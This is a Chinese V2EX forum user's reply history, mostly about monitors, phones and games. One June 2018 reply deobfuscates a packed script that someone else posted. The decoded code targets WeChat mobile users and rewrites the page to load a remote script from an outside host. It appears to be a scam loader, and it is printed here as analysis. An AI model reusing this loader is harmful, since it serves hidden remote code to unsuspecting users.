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V2EX  ›  xiaocsl  ›  全部回复第 6 页 / 共 18 页
回复总数  357
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2018 年 6 月 17 日
回复了 xssp 创建的主题 › JavaScript › 求大佬帮忙看一下混淆过的 js,看不懂
也或者有啥我不知道的一些 JS 特性,如果有大佬知道的话,麻烦 @我一下哈.
2018 年 6 月 17 日
回复了 xssp 创建的主题 › JavaScript › 求大佬帮忙看一下混淆过的 js,看不懂
eval 里面肯定的结果肯定是一个字符串,你单纯的执行一下里面的函数返回的字符串就是要执行的代码.

不过你复制的代码, function (p, a, c, k, e, r) 这个函数里第一个参数 p 不知道是你复制的问题,还是说在其他代码里有些小 hack ,直接执行的话,因为参数 p 不是个正确的字符串,所以会报错.手动改一下引号就行了.最后执行出的结果是.


(function(a, b) {
a(b)
})(function(a) {
var b = navigator.userAgent.toLowerCase();
var c = navigator.platform.toLowerCase();
var d = document.open("text/html", "replace");
var e = "";
if (!/micromessenger/.test(b) || c.indexOf("win") == 0 || c.indexOf("mac") == 0) {
e = "网络错误,请重新打开!!!"
} else {
if (typeof(window.$php_url) == "undefined " || window.$php_url <= "") {
window.$php_url = " //apple.cloud.theshop.com.cn/rpx"
}
var f = 0;
if (typeof(history.length) != "undefined") {
f = history.length
}
history.pushState(f + 1, "message", "#" + a(32) + (new Date).getTime());
e = unescape("%3C%21DOCTYPE%20html%3E%0A%3Chtml%3E%0A%3Chead%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22Content-Type%22%20content%3D%22text/html%3B%20charset%3Dutf-8%22%3E%0A%20%20%20%20%3Cmeta%20name%3D%22viewport%22%20content%3D%22width%3Ddevice-width%2Cinitial-scale%3D1.0%2Cmaximum-scale%3D1.0%2Cuser-scalable%3D0%22/%3E%0A%20%20%20%20%3Ctitle%3E%3C/title%3E%0A%3C/head%3E%0A%3Cbody%20style%3D%22background%3A%23fff2e5%3B%22%3E%0A%3Cscript%20src%3D%22" + escape($php_url) + "/loadhtml.php%22%3E%3C/script%3E%0A%3C/body%3E%0A%3C/html%3E")
}
d.write(e);
d.close()
},
function(a) {   a = a || 32;  
var b = "ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678";  
var c = b.length;  
var d = "";  
for (i = 0; i < a; i++) {     d += b.charAt(Math.floor(Math.random() * c));  
}  
return d
});
2018 年 6 月 11 日
回复了 vagary 创建的主题 › 硬件 › 27 寸 2k144hz 选择困难
@vagary 2K 对显卡压力其实还好, PUBG 的话很多设置也都是开非常低,我估计 抗锯齿>中或低,材质>极致 "稳"个 144 还是没问题的,最主要的影响性能的就是抗锯齿,2K 分辨率我试过抗锯齿开非常低,都比 1080P 抗锯齿开高都清晰.
周围玩家多时掉帧那是没招的,上 1080Ti 它该掉帧的还是掉帧.

你去"NVIDIA 控制面板"里添加一个自定义分辨率,设置成 2K,然后调整游戏设置,现在跑一下看一下帧数就知道了.测试完帧率能接受就上 2K,帧率无法接受的话,就还是安心 1080P 吧.如果吃鸡帧率没问题的话,其他的游戏更没问题.不过 3A 单机就不用考虑的,1080P 跑 144 都难.
2018 年 6 月 11 日
回复了 vagary 创建的主题 › 硬件 › 27 寸 2k144hz 选择困难
先看一下自己一些设置,玩游戏是否要必须开全屏,设置中的垂直同步你会不会使用,如果是"开窗口或者窗口全屏"和"开垂直同步"任意一个,那你可能就没太大必要去买 144 了,因为从我周围观察到的,确实有一些人真的体验不出来区别,相反如果是"必须全屏独占"+"垂直同步完全无法接受"说明确实对屏幕延迟等很敏感,升级 144 会更舒服.

2K + 144 ,接着要确认自己要不要升级显卡,如果是 N 卡,可以在 'Nvidia 控制面板' 强制将分辨率调成 2K,测试一下能否跑到 144.游戏设置的话,主要就是抗锯齿可以开的比 1080P 低一些.显卡如果跑不动的话,那你就要考虑因为换显示器而升级显卡的预算的增加.

接下来是 G-SYNC , 144hz 画面该撕裂的还是会有撕裂,贴别是 FPS 类的游戏,个人建议如果预算充足的话,推荐上 G-SYNC ,不过一旦上 G-SYNC ,预算又是大增一波.

最后关于 TN 和 IPS 的区别,结论就是虽然 TN 这么多年来已经进步很多了,但是对一个之前一直用的是 IPS 屏幕的人来说,第一次看 TN 屏的一瞬间,你肯定会内心骂脏话的,但我不是要推荐 IPS ,买 144 的屏幕基本上就是图的 刷新率高和响应时间短.现在参数里写的响应时间都是取的"灰阶响应时间里最小值"实际平均响应时间都要大很多的,而在响应时间上 IPS 劣势很大,这个劣势放在其他类型的游戏上影响并不大,但对常年玩 FPS 游戏特别是"开箱 GO"的人来说用起来感觉会差很大.两个就是在 色彩和响应时间 之间作选择,两个区别也都不算大,色彩的话 TN 屏也能调的感官上不那么垃圾,响应时间的话,可能大部分人和绝大多数游戏并感受不到有什么区别.单纯的看自己倾向性吧.

如果你的没预算的意思是预算没上限的话,那就挑贵的吧,肯定没错,马上要出的 PG27UQ 很给力啊除了 4K 外还多了 HDR.
之前一直用的是 Subtitle Edit ( https://github.com/SubtitleEdit/subtitleedit )
又一个轮子,下次试试看.点个赞先!
2018 年 4 月 29 日
回复了 aspave 创建的主题 › 问与答 › 价值一千的手机外屏裂了,怎么处理?
屏幕贴合差的要死,感觉不如直接再买个手机.
2018 年 4 月 29 日
回复了 aspave 创建的主题 › 问与答 › 价值一千的手机外屏裂了,怎么处理?
才换了一个外屏,只能说简直烂的不行..
https://store.steampowered.com/app/323190/Frostpunk/
Frostpunk (《冰汽时代》)

《这是我的战争》开发商的新作,自带简中,很适合五一期间玩几天.
小米 6 拖影也超级严重,很难受.
试试 @大象点映
https://weibo.com/u/6268352020
2018 年 3 月 11 日
回复了 Tarkky 创建的主题 › 问与答 › 请大家推荐一款安卓手机
小米 6 的屏幕是我见过最差的“(次)旗舰手机”屏幕,拖影超级严重。
2018 年 2 月 1 日
回复了 chuhemiao 创建的主题 › 程序员 › 如何评价腾讯立知,是使用了什么算法?
x52p6w
k5a7e5
t56k3s
4vz66n
b7f9z2
2018 年 2 月 1 日
回复了 chuhemiao 创建的主题 › 程序员 › 如何评价腾讯立知,是使用了什么算法?
a5d6f5 已用
2018 年 1 月 27 日
回复了 liqingcan 创建的主题 › 问与答 › 见鬼了,电脑屏幕突然由彩色变成黑白模式,何解?
应该是不小心摁到了 win+ctrl+c
前段时间玩过几天的:Slay the Spire
最近想玩但是没时间玩的:Northgard
2017 年 12 月 31 日
回复了 amd 创建的主题 › 分享发现 › 网页禁用右键我见过,禁用 F12 是如何实现的?
禁用右键和 F12 都较简单,以 Chrome 为例,你使用 Ctrl+Shift+I 可以打开控制台,或者从 菜单>更多工具>开发者工具 手动点也能打开,如果你需要"真正的禁用控制台"可以看一下这个帖子,效果要更好一些. /t/412867
2017 年 12 月 7 日
回复了 lhx2008 创建的主题 › 问与答 › 虎嗅网这个反爬虫插 cookies 是什么原理?来个 js 大神
简单的说一下哈,并不专业.
开发者工具断点,并不耽误拿到代码,点到 Network 标签,将 Response 复制出来就行了.
看到一堆 ASCII 码,直接先去试 uglifyjs(有在线的: https://www.css-js.com/ ) 格式化一下试试, arg1 里应该存了不少关键代码和数据.
整体来说代码不多,主要就那两三个函数应该还是比较容易理清的.


不过脑洞开的挺大,以前自己没想到过,挺有意思的.学到了一个骚操作.

打开开发者工具就不工作,应该是用 debugger 加 setTimeout 来判断开发者工具是否被打开,主要是代码混淆把 debugger 那句代码藏的深了一些.
2017 年 11 月 22 日
回复了 Lentin 创建的主题 › 分享发现 › 绝地求生要出国服了
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